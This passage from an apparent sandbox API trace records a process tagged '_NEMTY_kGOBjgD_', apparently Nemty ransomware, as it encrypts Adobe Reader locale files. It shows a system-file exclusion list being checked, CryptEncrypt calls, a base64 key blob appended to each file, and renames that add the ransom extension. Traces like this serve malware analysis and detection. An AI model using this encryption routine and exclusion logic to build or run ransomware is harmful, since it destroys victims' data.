Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.NOR", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.NOR", lpUsedDefaultChar=0x0) returned 18 [0179.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0179.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0179.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.NOR", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0179.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.NOR", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.NOR", lpUsedDefaultChar=0x0) returned 18 [0179.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0179.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0179.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.966] Sleep (dwMilliseconds=0x5) [0179.975] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1eeb9c10, dwHighDateTime=0x1d561e8)) [0179.975] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1eeb9c10, dwHighDateTime=0x1d561e8)) [0179.975] GetLastError () returned 0x0 [0179.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.975] GetLastError () returned 0x0 [0179.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0179.975] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.975] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.976] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.976] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="2GknTmHj3gqIICV7BgtvTnb90sXL3mYEgR9JWMR1L6x1AJl3rtZ3QbrnNUtqKPD8\r\n4/zCFCz5PkRDmERM55LzZKkX9yYptq7y+iSZAQzIJ7G5zrMeVH7zSrz91nN29Poo\r\nXd7f+2NAO7pZ57OUNNYYoRtQPnzw9vQ65zb9n0Y/Ky4W/xKqJVSc+MM6srpTLeos\r\nMvZKxTC8bIw5Ok8ySV2/+AVZFC25psxpaxCC2kNJnDKEHAhIYX6JxFm8OCOI6bo6\r\noZo3Xmg7sdkrLPAiu7RUehg54AlqHGz0UxrvDI8FDeF1d3pgzZzaaB89SxJpSF+N\r\nsRYnDjsZOHAIbmo+DMS3Vg==\r\n", pcchString=0x653e5dc) returned 1 [0179.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0179.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.976] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\makeaccessible.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\makeaccessible.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.976] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=74240) returned 1 [0179.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x12200) returned 0x6352c48 [0179.976] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.976] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x12200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x12200, lpOverlapped=0x0) returned 1 [0179.982] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.983] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x12200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x12200, lpOverlapped=0x0) returned 1 [0179.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.983] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=74240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12200 [0179.983] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.983] CloseHandle (hObject=0x2e8) returned 1 [0179.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0179.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0179.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0179.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0179.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0179.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0179.983] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\makeaccessible.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\makeaccessible.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\makeaccessible.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\makeaccessible.nor._nemty_kgobjgd_")) returned 1 [0179.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0179.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.984] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Multimedia.NOR", cAlternateFileName="MULTIM~1.NOR")) returned 1 [0179.984] lstrcmpiW (lpString1="Multimedia.NOR", lpString2=".") returned 1 [0179.984] lstrcmpiW (lpString1="Multimedia.NOR", lpString2="..") returned 1 [0179.984] lstrcmpiW (lpString1="Multimedia.NOR", lpString2="...") returned 1 [0179.985] lstrcmpiW (lpString1="Multimedia.NOR", lpString2="windows") returned -1 [0179.985] lstrcmpiW (lpString1="Multimedia.NOR", lpString2="$RECYCLE.BIN") returned 1 [0179.985] lstrcmpiW (lpString1="Multimedia.NOR", lpString2="rsa") returned -1 [0179.985] lstrcmpiW (lpString1="Multimedia.NOR", lpString2="NTDETECT.COM") returned -1 [0179.985] lstrcmpiW (lpString1="Multimedia.NOR", lpString2="ntldr") returned -1 [0179.985] lstrcmpiW (lpString1="Multimedia.NOR", lpString2="MSDOS.SYS") returned 1 [0179.985] lstrcmpiW (lpString1="Multimedia.NOR", lpString2="IO.SYS") returned 1 [0179.985] lstrcmpiW (lpString1="Multimedia.NOR", lpString2="boot.ini") returned 1 [0179.985] lstrcmpiW (lpString1="Multimedia.NOR", lpString2="boot.ini") returned 1 [0179.985] lstrcmpiW (lpString1="Multimedia.NOR", lpString2="AUTOEXEC.BAT") returned 1 [0179.985] lstrcmpiW (lpString1="Multimedia.NOR", lpString2="ntuser.dat") returned -1 [0179.985] lstrcmpiW (lpString1="Multimedia.NOR", lpString2="desktop.ini") returned 1 [0179.985] lstrcmpiW (lpString1="Multimedia.NOR", lpString2="CONFIG.SYS") returned 1 [0179.985] lstrcmpiW (lpString1="Multimedia.NOR", lpString2="RECYCLER") returned -1 [0179.985] lstrcmpiW (lpString1="Multimedia.NOR", lpString2="BOOTSECT.BAK") returned 1 [0179.985] lstrcmpiW (lpString1="Multimedia.NOR", lpString2="bootmgr") returned 1 [0179.985] lstrcmpiW (lpString1="Multimedia.NOR", lpString2="programdata") returned -1 [0179.985] lstrcmpiW (lpString1="Multimedia.NOR", lpString2="appdata") returned 1 [0179.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.NOR", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0179.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.NOR", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.NOR", lpUsedDefaultChar=0x0) returned 14 [0179.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.NOR", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0179.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.NOR", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.NOR", lpUsedDefaultChar=0x0) returned 14 [0179.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.NOR", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0179.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.NOR", cchWideChar=14, lpMultiByteStr=0x653e8e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.NOR", lpUsedDefaultChar=0x0) returned 14 [0179.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.NOR", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0179.986] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.NOR", cchWideChar=14, lpMultiByteStr=0x653e918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.NOR", lpUsedDefaultChar=0x0) returned 14 [0179.986] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.986] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.986] Sleep (dwMilliseconds=0x5) [0179.991] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1eedfd70, dwHighDateTime=0x1d561e8)) [0179.991] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1eedfd70, dwHighDateTime=0x1d561e8)) [0179.991] GetLastError () returned 0x0 [0179.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.991] GetLastError () returned 0x0 [0179.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.991] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.991] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.991] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.991] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="mtTHCH7LYbF7cGmsMLwe4mKPNEatVp1/qFGCLvjEf3f0x3gol9avriOYJGOOwHOW\r\nFegkIrJSBcqVoLHkQ80zKKZ1X4xlN4tebCGUVEorRreZFeOBV3fRqMmF5EjIwoqF\r\nlEpQPk7xyOtoWWrbKwtQJSCCuTICak4qBTv60v/RPJwZ2PnNGIP+FB9DWXQwx8k3\r\nIaYJe6JV9WlwUa/n0mWOYRvwF4QyU1oUreAGIV3WHPHyQ1EQZ1qEP28MhRU/HHiV\r\nVWiiY5wnpw+8StDHZz0Lg2jde6y8EX0KzrRby7QIvx6pwo/yJFxw+pruiaHfG/qB\r\nZlsfMSS9XyGvQEbNyFm/Hw==\r\n", pcchString=0x653e5dc) returned 1 [0179.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.991] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Multimedia.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\multimedia.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.992] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=77824) returned 1 [0179.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x13000) returned 0x6352c48 [0179.992] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.992] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x13000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x13000, lpOverlapped=0x0) returned 1 [0179.998] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.998] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x13000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x13000, lpOverlapped=0x0) returned 1 [0179.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.999] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=77824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13000 [0179.999] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.999] CloseHandle (hObject=0x2e8) returned 1 [0179.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.999] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Multimedia.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\multimedia.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Multimedia.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\multimedia.nor._nemty_kgobjgd_")) returned 1 [0180.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0180.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.000] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="pddom.NOR", cAlternateFileName="")) returned 1 [0180.000] lstrcmpiW (lpString1="pddom.NOR", lpString2=".") returned 1 [0180.000] lstrcmpiW (lpString1="pddom.NOR", lpString2="..") returned 1 [0180.000] lstrcmpiW (lpString1="pddom.NOR", lpString2="...") returned 1 [0180.000] lstrcmpiW (lpString1="pddom.NOR", lpString2="windows") returned -1 [0180.000] lstrcmpiW (lpString1="pddom.NOR", lpString2="$RECYCLE.BIN") returned 1 [0180.000] lstrcmpiW (lpString1="pddom.NOR", lpString2="rsa") returned -1 [0180.000] lstrcmpiW (lpString1="pddom.NOR", lpString2="NTDETECT.COM") returned 1 [0180.000] lstrcmpiW (lpString1="pddom.NOR", lpString2="ntldr") returned 1 [0180.000] lstrcmpiW (lpString1="pddom.NOR", lpString2="MSDOS.SYS") returned 1 [0180.000] lstrcmpiW (lpString1="pddom.NOR", lpString2="IO.SYS") returned 1 [0180.000] lstrcmpiW (lpString1="pddom.NOR", lpString2="boot.ini") returned 1 [0180.000] lstrcmpiW (lpString1="pddom.NOR", lpString2="boot.ini") returned 1 [0180.000] lstrcmpiW (lpString1="pddom.NOR", lpString2="AUTOEXEC.BAT") returned 1 [0180.000] lstrcmpiW (lpString1="pddom.NOR", lpString2="ntuser.dat") returned 1 [0180.000] lstrcmpiW (lpString1="pddom.NOR", lpString2="desktop.ini") returned 1 [0180.000] lstrcmpiW (lpString1="pddom.NOR", lpString2="CONFIG.SYS") returned 1 [0180.000] lstrcmpiW (lpString1="pddom.NOR", lpString2="RECYCLER") returned -1 [0180.000] lstrcmpiW (lpString1="pddom.NOR", lpString2="BOOTSECT.BAK") returned 1 [0180.000] lstrcmpiW (lpString1="pddom.NOR", lpString2="bootmgr") returned 1 [0180.000] lstrcmpiW (lpString1="pddom.NOR", lpString2="programdata") returned -1 [0180.000] lstrcmpiW (lpString1="pddom.NOR", lpString2="appdata") returned 1 [0180.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.NOR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.NOR", cchWideChar=9, lpMultiByteStr=0x653e890, 